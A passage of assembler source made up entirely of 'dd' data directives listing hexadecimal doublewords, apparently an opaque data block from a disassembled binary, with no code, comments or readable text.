		dd 0D578255h, 12BB2D55h, 7A284539h, 529AA547h, 0D6055427h
		dd 0F61C5BB7h, 0D84D571Bh, 2E1DDA8Bh, 36075B13h, 0B05666DBh
		dd 57485493h, 3DAC360Ah, 1B6E1BD8h, 5DAE06CDh, 0DF5F2579h
		dd 0DE32A56h, 5D236333h, 5479339h, 4B6C804Bh, 6249E40Eh
		dd 15EB4F27h, 77738C23h, 0A0FBE1DEh, 0B86586D8h, 28BB0490h
		dd 9E69F008h, 3CBB7C7Dh, 30A2BF0Bh, 200A03EBh, 0BA14DBACh
		dd 4B72h, 0FF9BEE7Bh, 447Ah, 49FF4480h,	5F004094h, 0E40F0003h
		dd 72F2E4BFh, 0E7958A95h, 0FD00416Ah, 6E5C416Ah, 7C56EBBh
		dd 72F003DBh, 386F0507h, 6CD86C73h, 0DDE086B3h,	0A40B331Fh
		dd 0C03D96F9h, 1131772h, 0F61D81D8h, 13E03B85h,	0B21747DEh
		dd 7308792Bh, 913B1320h, 28D83F74h, 93052013h, 70230419h
		dd 0B01D9DCFh, 1B6FB05Bh, 0B09707BCh, 0C5CB3724h, 6FD1026Fh
		dd 59C88741h, 1B103BA4h, 8907F21h, 4E360DA9h, 0DE6BB013h
		dd 2B60511h, 0F34D3303h, 50918943h, 5514D11h, 0FFFFFF00h
		dd 0F5AEA0FFh, 83A6C9F5h, 0BDF3ACECh, 0A5B084A7h, 0D4839DCFh
		dd 0BAB8E0CEh, 0A0C285DBh, 0BFB69EACh, 89C546D8h, 28C01FCCh
		dd 29C0982Bh, 0D5FFFFECh, 0CAAD8AFBh, 0A1A6CC85h, 0CF95AB98h
		dd 0EEFA8395h, 0FF1BAEC0h, 0F6F6FF6Fh, 1EBB85E5h, 9F8193F2h
		dd 57C594B6h, 98FEC4F0h, 0DDB7C0B6h, 6084B79Dh,	97FFB201h
		dd 9E85D283h, 11FFC4C5h, 0FFFF333Bh, 2112FFFFh,	64341325h
		dd 73311312h, 6239657Eh, 7E773138h, 31757F64h, 79657866h
		dd 63656231h, 65F7D978h, 31767FECh, 113F6221h, 62257E5Fh
		dd 0CD90DB23h, 31161B12h, 5B64310Ch, 31076EC6h,	38780F39h
		dd 0DEC03C78h, 313C3F6Bh, 2D2E785Dh, 0C297555Bh, 0A72B9B9Ch
		dd 0DBC71F3Eh, 5AFBAC16h, 137D7D78h, 12D74C11h,	7FCB5213h
		dd 757CFFFBh, 7469743Fh, 7E636131h, 3B627472h, 31627079h
		dd 7C637465h, 0B2CB6F70h, 0AB75066Dh, 567F7D52h, 61746331h
		dd 70B6DB5Bh, 70157508h, 307C2BDBh, 0B5B27DB6h,	11724321h
		dd 63136354h, 0D76C6D7Dh, 4F6679DAh, 0B264720Fh, 0BDAD2C72h
		dd 707CDAEDh, 1B1C28EFh, 7C744303h, 77BD1E4Bh, 6632736Fh
		dd 7E3F5279h, 9F7F7461h, 0ADDA12DEh, 6778511Bh,	0DB691375h
		dd 2110963Eh, 233F210Bh, 2D620E77h, 59B066EEh, 5A2213E9h
		dd 87163E53h, 4B784059h, 0B60C563Bh, 57605F6Dh,	2F736611h
		dd 1F658242h, 5EC80F6Eh, 45757E65h, 7762E763h, 17B02ED6h
		dd 777E313Ch, 0E11F724Ah, 0E5612EB3h, 7A9F7D7Dh, 6FDB9D75h
		dd 1132657Fh, 52525510h, 555F5421h, 330F3331h, 1B1EDBDEh
		dd 5247521h, 0B91AE310h, 3CF18B6Fh, 13380337h, 644BCB63h
		dd 0F0952Eh, 0DB60074h,	0FF78285h, 45D3C12h, 61D95B76h
		dd 622BEDDBh, 1317BD64h, 0DACFEEFFh, 54561B19h,	8B3E3145h
		dd 41454559h, 213F203Eh, 6E35D7B0h, 697E5915h, 0F321623Bh
		dd 9181FE35h, 667E752Ah, 97E7D7Fh, 21610B8Dh, 8E44C324h
		dd 0B9CDEC29h, 50A42A73h, 27656370h, 0E3E37648h, 95726442h
		dd 687DB477h, 0C2072458h, 23BB51C0h, 0B5F196ECh, 0B53D481Ah
		dd 6D61640Bh, 0EC73D81Ah, 77DE5F0Ah, 0DB6DA78h,	915D889Bh
		dd 15783461h, 0D7DD6476h, 33E4365h, 4B62BB2Bh, 0DA993B52h
		dd 354FEE61h, 5FDA113Ah, 347DD84Eh, 77652827h, 3E2B6165h
		dd 2D2EED3Dh, 68602134h, 43626422h, 97662023h, 1603AC5Dh
		dd 79212954h, 49360C65h, 525BC06Dh, 35629B2Fh, 0DACC211Bh
		dd 1F9FFC63h, 0B6CEBD2Fh, 651B6606h, 640A74C4h,	0E7CD656Fh
		dd 6F103875h, 30958F61h, 6F3AAB55h, 6CA37AC4h, 17302324h
		dd 34772DA1h, 2B584440h, 8030D6BFh, 1332DAD0h, 9D7FA320h
		dd 0A9B7BFDCh, 82766473h, 64757E5Ch, 6D2E0EA8h,	57F7C105h
		dd 627C7294h, 0E3768D79h, 7318AC9Dh, 65B02C5Fh,	0DBDB21D8h
		dd 21064950h, 53084929h, 43611152h, 4255721Eh, 1C870858h
		dd 4153EC36h, 5758081Ah, 0F630AD8Eh, 4256505Dh,	884B3F0Bh
		dd 8E6ADC74h, 7D177A76h, 3004510h, 234DD636h, 43BB64B8h
		dd 607F54D9h, 5249FFB7h, 58454154h, 464E5F5Eh, 420F1145h
		dd 5A525045h, 0FB7B09B6h, 54475E4Eh, 465E1943h,	35F1B11h
		dd 0FF64B052h, 5F0A02D6h, 5D535044h, 23184E54h,	3B7F2FB6h
		dd 554E1F58h, 55584758h, 4B4E4853h, 0F7375E46h,	5843C2F6h
		dd 5056395Dh, 4369275Dh, 84E17B44h, 1F1352BDh, 5A2A4353h
		dd 0DB465E41h, 37985B5Bh, 42420995h, 0FD5E584Eh, 0F76B23EDh
		dd 59455E73h, 75641167h, 0C3581161h, 1277DAE6h,	65747F63h
		dd 8FA0256h, 48DB9172h,	0F5425ADCh, 0F8695405h,	5D78FD66h
		dd 1E769768h, 1194753Fh, 74B11841h, 68603352h, 371E02AEh
		dd 3A23111Bh, 61F7D8DAh, 23721762h, 75CF0877h, 0E12BED1h
		dd 761B29BFh, 0DEC9FD3Bh, 747CA2BBh, 661A0B0Eh,	224E2362h
		dd 70116623h, 4611328Fh, 825E7C5Fh, 3F610C9Dh, 174623D1h
		dd 95B65050h, 2C48AC25h, 0EE7C2813h, 0B1958B3Dh, 7D501A60h
		dd 0B9FEBAE9h, 18236B6Eh, 975F0B64h, 7972421Bh,	0B9CFF874h
		dd 7E5B963Fh, 2FB32673h, 64537861h, 0EB306777h,	0CF570F3Ah
		dd 45FE1311h, 0D8312B63h, 420F555Eh, 2B541C6Fh,	6C1DAC59h
		dd 62440F7Ch, 0B80B0E2Eh, 55DAC964h, 0B5717B6h,	34276CA1h
		dd 7F1C5869h, 96057067h, 110E1AD8h, 70B9788Bh, 0D9E16BE6h
		dd 96319D6h, 0CB420A72h, 74937F50h, 285B1305h, 27ADCF7Fh
		dd 96956C7Ah, 377DB13Dh, 942A76Fh, 0CF28D7F7h, 585F0841h
		dd 6430649h, 35096D3Eh,	7578CE7Fh, 0D83D2AFCh, 673D6A5Ch
		dd 0D9436DE7h, 0D87F7481h, 0B9202058h, 20FFFF7Bh, 80841122h
		dd 89BA8FD1h, 0AFBCC1B0h, 7C9EA7A1h, 3F212003h,	6DF63B3Ch
		dd 27208E28h, 260F3F29h, 26230723h, 8B6C302Eh, 5F023F86h
		dd 6560202Bh, 130FE613h, 0AD5A0F2Bh, 793CD87h, 93DF565Dh
		dd 9AD0CB30h, 3D0B63B1h, 0D58BD944h, 0FDEA43E2h, 0C6081723h
		dd 0F85735C1h, 6761BFD9h, 419078B3h, 13621FEEh,	2F1C1820h
		dd 4C86BF0Eh, 0E342A306h, 0E7CC6862h, 0D9D02537h, 3FCB86ACh
		dd 6620425h, 0D780684Eh, 962734F5h, 61B0E845h, 0FA72B54h
		dd 0EE77B177h, 492321CBh, 59130747h, 3C83445Ah,	7429DB9h
		dd 44525C5Dh, 0DBAC1943h, 0C29CC13Eh, 78903B9h,	9A690699h
		dd 254575A6h, 5D341D31h, 0E503ECB3h, 7C1F59Dh, 20DD8DADh
		dd 7D99D34Dh, 35035D4Dh, 34D87675h, 1E9AE101h, 97FFBE00h
		dd 0D3632FFAh, 0C9B098E3h, 0CB86A1ADh, 96CE94A1h, 0F4E48683h
		dd 0F97DB39Bh, 0ABC0F523h, 9A77BDE4h, 0E0D1DE92h, 0B7E4F784h
		dd 0FFFFFFA7h, 87B23387h, 88E5CDD6h, 0EEB0DBBEh, 0A5A6E2A1h
		dd 0D781C59Fh, 8EF8C0E1h, 0B0A0CEA8h, 0A1FF60FFh, 0B298A79Ch
		dd 2796C38Fh, 0D2C19B92h, 0CAA78EA2h, 0FB19BF37h, 0C98780FFh
		dd 0A998C5CEh, 0AAF9BC81h, 8EE0A00Fh, 0F48A8FADh, 0FFEC065Bh
		dd 0B79391ADh, 0D79EC592h, 2BFCD1E7h, 0F577CCE0h, 0A403FFFFh
		dd 0E3C5C89Eh, 978FAC9Ch, 85B5BBE4h, 0B5808DB6h, 59C4D49Eh
		dd 136EC3B0h, 951FC3B3h, 8723330Fh, 0E1C00FFDh,	0BEEEFF9Bh
		dd 13B6A1E4h, 0CAADF184h, 0A1CAEC2Fh, 0F99C57E4h, 677AEBFh
		dd 0E761E5F6h, 99E38F96h, 7F4FDDBAh, 3BEE9580h,	38CE3E8h
		dd 0A8EE9597h, 983F84ADh, 0A7E4FFABh, 0CF9B83D0h, 8B9FEDC2h
		dd 0C1989F1Fh
		dd 0BFE1E2CEh, 0BAC5F60Dh, 0B00FBCD7h, 9FE2C41Fh, 0F3BCFCFFh
		dd 0FF842FB9h, 0B4E47AB7h, 0CCCFBBD5h, 0DD8FCBE9h, 0B1AAE2B6h
		dd 7EC03B99h, 84901E42h, 0C784BAD4h, 0FF43FFD2h, 0BF7FFFFFh
		dd 0E0C0C598h, 0BACA8CCBh, 9EABBDF4h, 86E1C6BDh, 0FECECE83h
		dd 0F9D6AB82h, 9CB0AAD2h, 7E40F6ADh, 37C585D8h,	0C0D5849Fh
		dd 6807382Bh, 4DCD12E0h, 7D61A64Dh, 0DD7663B9h,	42D09068h
		dd 0D36665FBh, 0D8D45C4Dh, 0B97BB46Dh, 464D0D62h, 16D75BE0h
		dd 4D622B37h, 1C639E52h, 0DD622B47h, 704D5CEAh,	512F524Dh
		dd 957E799Dh, 304D4B4Ah, 9C2BA677h, 6B5C8D5Ah, 7670382Fh
		dd 0C0D3070h, 0A3D9B34Ch, 592B50EDh, 0F405704h,	0A193A30Ah
		dd 1BA83742h, 6B29786Bh, 314F76A8h, 822D2538h, 7363BB9Dh
		dd 0BC806570h, 12A547C5h, 630F7005h, 86E6C1EAh,	78854063h
		dd 0E04B5686h, 0FC689575h, 8F4BA47Ch, 7A897A42h, 9C5DBB62h
		dd 83E23582h, 8067B86h,	0D633729Ch, 9021933h, 333236C4h
		dd 916A7A46h, 0EF216420h, 0FF78113Fh, 9E1102C3h, 0EF8FC884h
		dd 4F3EB284h, 4BFF192Fh, 0B8DDAD37h, 87ADACAFh,	237784EAh
		dd 0D9FFB0FDh, 970B8EE8h, 0A2CCD396h, 1BDBBA85h, 0C6C99894h
		dd 2F1832FFh, 0BCCEF133h, 0E1C49D7Bh, 0BA81B198h, 7A5BA6EEh
		dd 8BECA2F6h, 81F913B1h, 8903A5DFh, 9A6D25FAh, 9EF52D45h
		dd 0D19897F3h, 0FF4BF6CFh, 0CBBED35Fh, 0AFAEE6F7h, 0D9C8B78Fh
		dd 0A26B9F92h, 0F6C2B088h, 1BF8DF0Fh, 9CC4C93Fh, 8AF7C880h
		dd 0E8AA80BBh, 0C9A0D4A8h, 0FFFF9CD0h, 6B878DFFh, 0CEA6C4FCh
		dd 9DA0EEB1h, 0C58CA188h, 0C4CA9284h, 0DB80D9E8h, 0F3E2B0B4h
		dd 0E49FFFFDh, 869EA1C4h, 0EDC68884h, 0E8DCBA86h, 87ABB6AFh
		dd 9CC3C8A3h, 0FFFFFF9Ah, 0B2F66F85h, 0A2C5F3E0h, 91C293C9h
		dd 0D9B89092h, 0B1E182E8h, 0F0C7A7FBh, 0FFFB7FDEh, 0DACAC6FFh
		dd 0D3BDC29Eh, 0B0B89AF2h, 0A6D9FBABh, 0C4C698D3h, 0BED38EC3h
		dd 0ACEFA0DCh, 2E0907ECh, 83BC8FECh, 88FFECB3h,	1FF6FFC2h
		dd 2386E3C2h, 8EA3C0D2h, 0AFBB80B1h, 94B189EDh,	5C9996D2h
		dd 0D2FFA5FFh, 0B084CB8Eh, 9BE4B5C8h, 0C184A809h, 0D2C8BE81h
		dd 72FB17F8h, 0E16F97C2h, 47A192A7h, 8AEECD87h,	60501AADh
		dd 0A5D35BD9h, 95ABA186h, 0B0628E06h, 93074227h, 6E251865h
		dd 5E15314Ch, 0AD905942h, 5C63251Ch, 0D6B6703Fh, 0E67B11Ah
		dd 0D110285h, 0E5477173h, 6975080Bh, 362B4441h,	0ECEC3ED8h
		dd 6B595C12h, 2BA04314h, 0CB56B2E8h, 310AC611h,	76A37A92h
		dd 67B42040h, 59992B27h, 0D6C4B683h, 33D38261h,	6ADB01ABh
		dd 795368DEh, 82D173Dh,	0DF000E98h, 0E8B0E66h, 7FEA316Bh
		dd 3980A64Eh, 700FB012h, 13890684h, 197E1307h, 60BC1BEDh
		dd 508B8342h, 3465543h,	0D1B06D18h, 429E4D54h, 523E5895h
		dd 4DC26B57h, 6311141Ch, 63A2E87Dh, 0E84D36B2h,	9F48D85Fh
		dd 0F03BE6EFh, 22212123h, 11414911h, 545C210Bh,	2EEBA2E4h
		dd 45232928h, 0E1FF2407h, 96AA50DCh, 112E6FA5h,	0A1AD6B11h
		dd 2B58C161h, 62C5166h,	807A8484h, 3E42C793h, 0FA8B7B0h
		dd 6D616845h, 4642462Dh, 0E4665D1Ch, 2F62C0E8h,	5C145D15h
		dd 656D9614h, 88C11268h, 0D6BC065Ch, 70274B9Bh,	2EC2443Ah
		dd 43577106h, 5CFC9252h, 0CBAB22C4h, 72675007h,	6C0AB40Bh
		dd 0F05379F8h, 954A2E0Ah, 55A0A0A3h, 3F8050E1h,	7F7A7F7Fh
		dd 6B130386h, 510902D7h, 7E45474Dh, 65B60CF1h, 714631AAh
		dd 0AC64B262h, 17EF01D0h, 168C709Bh, 0B186E61Ah, 6FDC3750h
		dd 0F5FB0964h, 1F2D0F11h, 6B6416E0h, 0A46487E3h, 816A757Ch
		dd 7AB25F81h, 3C757211h, 0D022A756h, 63089101h,	1CF3769h
		dd 670FF826h, 0C2973FE3h, 0B5090D86h, 30CD1711h, 5AC3E0h
		dd 76657309h, 47344627h, 7F3111B7h, 0CF08B5Dh, 0EF085AB4h
		dd 0AF11C930h, 0C2484D5Eh, 0C0DB627Eh, 3BD05190h, 9BD93BC6h
		dd 0B6EF90D0h, 0CDB057E7h, 0FE69C126h, 2963EF70h, 0DD2765A1h
		dd 5CE1F3Fh, 116D86C3h,	0C036083Eh, 1AC292D5h, 6F8ACD53h
		dd 67BA36A6h, 52580FAFh, 0B067415Ch, 197E55ADh,	75831B99h
		dd 6D80887Bh, 38033B00h, 0B7601D2Bh, 5270D81h, 2A04627Ch
		dd 4C2B259Bh, 0B8A42B02h, 3187D66Ch, 32F5FB38h,	7D9A0D2Ch
		dd 4A360393h, 72E3356Ch, 0C5F45211h, 888E8959h,	4F0FADC5h
		dd 0EACA54h, 1FB95333h,	0BA2602E1h, 0D92F4877h,	0C3177C3Fh
		dd 6231C334h, 66F75BADh, 5D7D337Dh, 790C2D74h, 312F0B95h
		dd 0B4ED2D4Ah, 6109BABDh, 2D0BA472h, 3B750A1Ch,	61097C33h
		dd 434C1555h, 24271313h, 62D7349Eh, 40732225h, 11848564h
		dd 0F968945Bh, 962B3B2Eh, 60A32440h, 48B22D26h,	363C5323h
		dd 30BE5F8h, 0C8C99F84h, 0EFB0DDBEh, 0C7B0CFE1h, 0E704C68Dh
		dd 7774D148h, 9BE3BBE7h, 13216240h, 48A98F78h, 0E59A1F13h
		dd 0C0E11498h, 8D7B0AEFh, 3325EA42h, 1177121Eh,	1466FC2Bh
		dd 7F47494Bh, 7CFD87Eh,	15936489h, 24232813h, 0FA85E823h
		dd 1F66E93Ch, 0D90011B0h, 93F7AF4h, 6CFCF4BFh, 8413DFB2h
		dd 13594B35h, 30CEA1E9h, 86836346h, 59C07A50h, 4ACEE741h
		dd 990A22E8h, 5F61E44Ah, 2322E7D8h, 918999B0h, 77F94337h
		dd 0C081D025h, 41B86418h, 29F64849h, 868F80CEh,	0C06F8E7Fh
		dd 6178E894h, 67312567h, 747945A4h, 64A040D2h, 38816F0Fh
		dd 7DA41B0Ch, 94BA023Fh, 3F3D8F9Dh, 0B51EA7F3h,	96C6353h
		dd 5FDB88DCh, 26EFBE42h, 97648CDh, 7372704h, 32360204h
		dd 92764338h, 0EE14A0E0h, 6C249944h, 5D68B0D9h,	0C0364333h
		dd 2322601Eh, 4C202825h, 66972D20h, 0D3CEBAF4h,	0A2764372h
		dd 207C6450h, 0A013F3EFh, 27F9A6CEh, 59BB0BA9h,	2F19ECF4h
		dd 0ED3FE907h, 0D43E694Fh, 1227EC0Eh, 3748C926h, 33825952h
		dd 0AB2C2E0h, 0C981939Bh, 69D9E039h, 9969218Ah,	0DD9709A7h
		dd 0D272612Eh, 86673Fh,	3C242653h, 3BFDD879h, 693CA15Fh
		dd 0E2D05F4Fh, 4B0BB724h, 285E5C02h, 3F64FB03h,	308217Ah
		dd 0FAEDEC13h, 70718BC1h, 0E65581F0h, 0F1ED7C31h, 26AE6DBEh
		dd 7F034514h, 81E1216Bh, 9DDC8711h, 0F9138E49h,	3F61149Fh
		dd 4493EC9Fh, 73878F49h, 45435041h, 0A51EE669h,	9924ECB8h
		dd 1C5B0BA3h, 73DB65ABh, 0B517221Fh, 0AB3E4797h, 43C02418h
		dd 9E4C0CA1h, 7F92D1ACh, 9B212B47h, 8504EC89h, 59280BC9h
		dd 0F2071BB7h, 63293F24h, 2E5E3BC9h, 64916981h,	0E42AE4C3h
		dd 145A712h, 7C70C0FDh,	101350C9h, 3BD04438h, 81D2F0E1h
		dd 743A733Bh, 2A992527h, 8580B1B2h, 66CA57B1h, 0F5752AE0h
		dd 7EE16558h, 9C80ABCAh, 7CBCB0ECh, 7F743B4Eh, 7583D81Fh
		dd 78CF1F6Ah, 12DF6FE7h, 35FE42BEh, 670F40B0h, 471D9AC8h
		dd 765F25D9h, 0CF0B034Fh, 0E7F232A3h, 3B2C6B0Bh, 0FCC78169h
		dd 7E49EC7Bh, 172C09C2h, 34DA88C9h, 0B37E80Ah, 9C93EC0Fh
		dd 0DF93E6C5h, 2B7BAB2Ch, 9F607E1Dh, 140F2FB0h,	0AB36651Bh
		dd 12E3E328h, 40F2485Eh, 8997F4E9h, 0F250061h, 0FACE427Bh
		dd 65C92735h, 0ECBA3D62h, 61268421h, 4CF5AF9Ch,	0B2A6386Ch
		dd 7A085078h, 4CB0A955h, 22D0567Ah, 3448C1A0h, 0DD77634Ah
		dd 3C432DF6h, 633CF177h, 373F687Dh, 568BD922h, 0E1DF29D7h
		dd 2336D59Fh, 5A5E4353h, 0F1B5F54h, 9D83FF22h, 0B0D13B5h
		dd 0BEA6838Bh, 0CBF984FEh, 2781E69Dh, 0A4FFFFE3h, 0EAC4E2BAh
		dd 0D2D3FBDCh, 0D1D181D5h
		dd 0A4F981F1h, 0D6EBECBCh, 9E40FADEh, 0D1AF1584h, 5820334Dh
		dd 61FFFF7Dh, 0B11F6F8Fh, 0CBE7E2B4h, 94E495A3h, 0BE909ED1h
		dd 0FC02B192h, 0AAF8FF90h, 0BA9595C5h, 0B796E7DCh, 27C8C19Eh
		dd 0FFCC007Fh, 0ABEEABFFh, 0AFB089B7h, 0E0B87BE4h, 0EDFFDBF5h
		dd 8DAAE4A7h, 0BE8CEFEAh, 8594A598h, 0BDF8CFC3h, 0F2AADDBAh
		dd 0E8E32633h, 0D13ACA0h, 0E0FBE867h, 0B213E312h, 0FCC50F5Bh
		dd 29232077h, 28F128A8h, 90773AB1h, 3EC0C7ECh, 0B2779461h
		dd 353771E9h, 93181F2Bh, 2C7F743Ch, 32323163h, 76927248h
		dd 0C73A6333h, 619FA6h,	0BAC82CC3h, 0F09316C6h,	0FCA19B85h
		dd 0F85F4762h, 0D7F64F21h, 94F9305Ah, 0B7A0B707h, 7BE247D0h
		dd 4303F22h, 43414951h,	0FB97BAECh, 425C4758h, 1F543556h
		dd 2C2D032Ah, 0B3BA69A0h, 2C300B2Fh, 0B560BE35h, 0F27FCEBh
		dd 0B8E7735h, 0DF520E7Dh, 355784ACh, 45673584h,	6E21117Eh
		dd 0B964358Ch, 3B0A255Dh, 2720C894h, 0C1B38004h, 371709CDh
		dd 0DE38E337h, 0B3121006h, 52C02BECh, 0E96A45h,	2BF32627h
		dd 0B9B62CC4h, 3640103h, 7BA8370Bh, 8B56B8D5h, 444C5303h
		dd 4D9605Fh, 2F115ACCh,	0FC2D8DCBh, 4242635Ch, 19455E5Fh
		dd 68111754h, 0F081BC7Bh, 62A2685Fh, 0F53B037Bh, 1A2BF325h
		dd 62867D2Fh, 17202B09h, 0DC2F223Bh, 4C072B92h,	22227F4Ah
		dd 0D2F63C23h, 11511BFDh, 2425210Fh, 5E599720h,	0C3F4B42h
		dd 3167EB0Eh, 0B378693Ah, 0F0B02621h, 620F20B2h, 0F364DD7Ch
		dd 0F6A5A314h, 4360313Fh, 6DD82E6Bh, 41746C6Bh,	7105614h
		dd 0B01AE6AFh, 0CF42B350h, 0BD09F37h, 76743E99h, 12BF7576h
		dd 0A9273F20h, 0CC6B2D09h, 1B59281Fh, 1ED0C869h, 3438391Ch
		dd 0EC3B2DE0h, 0B10242Bh, 58803978h, 4B3F606h, 96C4237Bh
		dd 5E0BA7FBh, 65610781h, 91CF37BCh, 6859753h, 5253B6FDh
		dd 59565730h, 24245B58h, 0DBFD19D6h, 45604041h,	49464744h
		dd 76BD4B48h, 0B635BF63h, 7D7A7BF6h, 2B60B6F3h,	696667F8h
		dd 0BEA6B68h, 230E0B85h, 29F32F22h, 383E3A28h, 43B245ECh
		dd 0A03C08F0h, 28381741h, 1F386685h, 0F70CC1CEh, 613C8641h
		dd 14CB1810h, 0A21BF8Fh, 7F876539h, 4D39E4D2h, 8A1CD39Eh
		dd 0FE111000h, 6639AE9Bh, 0D7640367h, 7666E237h, 6366E383h
		dd 0EFEA5B7Ch, 0E8C5720Bh, 1273D266h, 0A9034062h, 0FC606475h
		dd 0EA87FFFFh, 1660BA6Ah, 0FC662BC4h, 4D6D850Fh, 9866CA47h
		dd 0A966EC0Eh, 3F81F307h, 77778B08h, 1EEEDB90h,	0FFFFE744h
		dd 49137B7Fh, 142D3FDCh, 0A9FE654Bh, 5B8C4F30h,	64BEEB9Ah
		dd 0F664BEFBh, 7C9F6EEh, 3117BD9h, 0E23927A7h, 3EC37BDEh
		dd 6D3EB1E6h, 0A703A703h, 0F6062DC4h, 1A28A79Bh, 5135AC12h
		dd 6E59D1F3h, 9B0107AFh, 3BAC1B39h, 0A4B10110h,	0B35706D1h
		dd 15FFFFD7h, 0FA9B994Ch, 8E00D80Dh, 3A1119F9h,	78715901h
		dd 4CF6461Ch, 81F3498Dh, 0BDED0B07h, 3C37Fh, 6EECF1DDh
		dd 0F77F0B03h, 1191CB3Dh, 12F412F9h, 0FF171577h, 17424FFFh
		dd 4935231Fh, 7554DDECh, 0CC61A158h, 873D65BFh,	1C4F71C3h
		dd 64DCFB90h, 7F0B611Bh, 0FFCD076Dh, 15FF37Fh, 0E0E08791h
		dd 0DF5C3Bh, 31117BB7h,	0E5637FBEh, 0C48F5C1Dh,	33532D87h
		dd 83BCE11Ch, 0D91AE5B9h, 11DCFF03h, 5C036F71h,	38465E54h
		dd 0EEB0EFB3h, 12290ECAh, 391321FFh, 5DB37D17h,	1901107Bh
		dd 11D900CFh, 1FC91743h, 6782F840h, 0D5F71697h,	3611DC39h
		dd 75EC5F64h, 1F0BDC38h, 0FBA73A8h, 43243243h, 24B5B7B4h
		dd 0BC243243h, 0BA6AC1BBh, 371732Fh, 0C9F8149h,	0EC5F7BD8h
		dd 0D7D3DB69h, 74810241h, 99A75EDFh, 1100EE31h,	0C3847E42h
		dd 7703595Fh, 13181711h, 69007BC6h, 8692701h, 0D21BB31Dh
		dd 614FFFC5h, 898289C9h, 0B800C35Eh, 0A346AF2Ch, 2D962329h
		dd 9157B261h, 0D98400E7h, 52BB87C8h, 0F7037105h, 9921900Dh
		dd 0FFD82AD1h, 901320FFh, 911206D4h, 885BF81Fh,	419BE088h
		dd 13946B7Eh, 0C0611AE3h, 5F21E746h, 0C93C067Fh, 1CCBAB13h
		dd 0B1D3E31h, 4B0149B2h, 663F2B07h, 1EC610Ah, 79473F7Fh
		dd 0C2E3591Dh, 79A3111Fh, 318FD39Ah, 80D43BC0h,	7354D07h
		dd 0B7430378h, 200535D1h, 11255535h, 0CC836D24h, 10B6195h
		dd 1458757Bh, 11DD5BB2h, 0FB1B7772h, 3CD09EC5h,	7B1D3BC3h
		dd 0B9D39F7h, 6321FDBBh, 1201FF10h, 7D71309h, 3028C16h
		dd 72CDF72Ch, 1C890D44h, 3E4E4D1Bh, 5FFF87D6h, 5110E48h
		dd 5C8E5BA9h, 0DE6C0Dh,	0D641AC97h, 6DD30FA7h, 65538746h
		dd 3656F4h, 0B02E4A1Bh,	6C49FFFFh, 0FA516464h, 60AD56D7h
		dd 0C10DB65Fh, 183186A4h, 10909A4Bh, 32DF3F98h,	0A361F602h
		dd 59180D79h, 10FFA637h, 9A0713DEh, 14ED3555h, 9F49EBF1h
		dd 0F1B7EF6Fh, 1421540Bh, 2C0AEA35h, 8FA01FAh, 0B2DF15FAh
		dd 7654EF6h, 50730F01h,	24E0581Bh, 0FAE32632h, 0A8648E3Bh
		dd 9E1BB6Eh, 1A3F4811h,	17270A1Ah, 0E42FE52Bh, 0EE5647EFh
		dd 63535C42h, 0D94209C7h, 0F16DEFEEh, 73B6632Fh, 5F315241h
		dd 53464554h, 0F8815A5Ah, 565EEF0Dh, 315C5043h,	628B172Dh
		dd 5CBF816Dh, 0B1210A02h, 80311F41h, 6D76C346h,	536A15B1h
		dd 52220EBCh, 0E0B98270h, 235C27D6h, 32D04923h,	256C5ADh
		dd 0D35F0A36h, 0BDD3C18h, 0A2131DAh, 62B58BE7h,	8C80216Dh
		dd 0DB1DA116h, 85C61303h, 1B00C4B5h, 0B0BFC5A6h, 78512B50h
		dd 41AC4B5Eh, 8F84A46Bh, 1993863Ah, 240095F1h, 631A251Bh
		dd 0F766917Fh, 0D8E62385h, 90133DEh, 23CF288Ch,	41C7581Dh
		dd 4E21CD24h, 39E406CBh, 3119AB91h, 6B0546CBh, 128E4992h
		dd 2760C81Eh, 7222B7Ah,	2373FC51h, 1711170Fh, 41F0101h
		dd 0FFF1999Bh, 0F26E86FFh, 9067115Eh, 0E36B7B08h, 390D58F5h
		dd 653421BEh, 21427601h, 0E16044DFh, 0BA64DF4Dh, 294B468Eh
		dd 0BD19666Ah, 7B6EE420h, 4D61E333h, 1127073Fh,	6EA15629h
		dd 21773F6Ch, 3DE9581Bh, 2D9D873Ch, 75632E00h, 7CADB7B3h
		dd 15CD1980h, 0CF6309F6h, 0AC3D61CFh, 8E8DA55Ch, 988FA910h
		dd 28406130h, 0E1A36B7Fh, 7D8B00BEh, 61D374D9h,	0D3C8527Bh
		dd 348D6B25h, 0DAC1B03Bh, 154A019Fh, 9F13451Bh,	45AEBADBh
		dd 4863375Ah, 0CBC74D22h, 0AC25FB54h, 8783D349h, 0FE0101A9h
		dd 835607FFh, 2808397Bh, 0C1A01Dh, 0D111B98Ah, 0E43FC85Eh
		dd 4836E48Bh, 0FE51DA3h, 719F2579h, 1DB11DB1h, 8E4F1DA0h
		dd 0B111200Ch, 781D991Dh, 0A359C9B2h, 58407FDh,	0AC964451h
		dd 616D4F47h, 81079751h, 436F6447h, 0EC946913h,	7C279E40h
		dd 0F8B74ABAh, 3EE90113h, 9CF1E935h, 231FEFEEh,	0C1D27D32h
		dd 8419FCF0h, 1A84388h,	0E4F279FFh, 0A910FFD3h,	0BC311D01h
		dd 61F2151Ch, 1E7F0736h, 9F2579C9h, 611009E5h, 1E951E95h
		dd 0F9006FCh, 13111E84h, 841E957Fh, 7D9E4D87h, 0B98B001Eh
		dd 0DEC88D6Fh, 0F61343AAh, 4F59FC5Fh, 0EE160DFDh, 2D1044F5h
		dd 3640403h, 0FFF6C9D6h, 9BAB640Dh, 0F4153A7h, 280353C1h
		dd 148A0425h, 0BB41A9Ah, 450D833Ch, 6D759BFBh, 1902392Ah
		dd 0B40A00DBh, 801427FFh, 59353BC1h, 9790BC5Bh,	31102B4Ch
		dd 0D35B1BA9h, 0A257D30Ch, 58004D2Bh, 16C181C1h, 4D39357Fh
		dd 9790AE40h, 19311037h, 0AED15B10h, 46935318h,	0A0CA89FFh
		dd 5ED92F6Ah, 7615A23h,	270F10C2h, 6903FF92h, 7FAE564Bh
		dd 121299F0h, 0D6340777h
		dd 81204E5Dh, 5C2D0C12h, 3BAC080Dh, 0F115E010h,	5B135B88h
		dd 0B8325A3h, 4D12321Fh, 4D545D41h, 1CFF9225h, 15312ECBh
		dd 30110E12h, 9095F953h, 723D85ADh, 0C6930710h,	6C27615h
		dd 0DB1590DAh, 0CD92BCABh, 0D810D9E5h, 9115916Dh, 921C9E15h
		dd 91159687h, 0C2157915h, 0A24FC91Eh, 4B29063h,	2FB0713h
		dd 9487D4B2h, 0D504FA07h, 94AC0ECEh, 1B1D19A9h,	3FFE07h
		dd 50FCC794h, 3797363Dh, 0A2B148C3h, 8113BB4Fh,	7EFA2DD4h
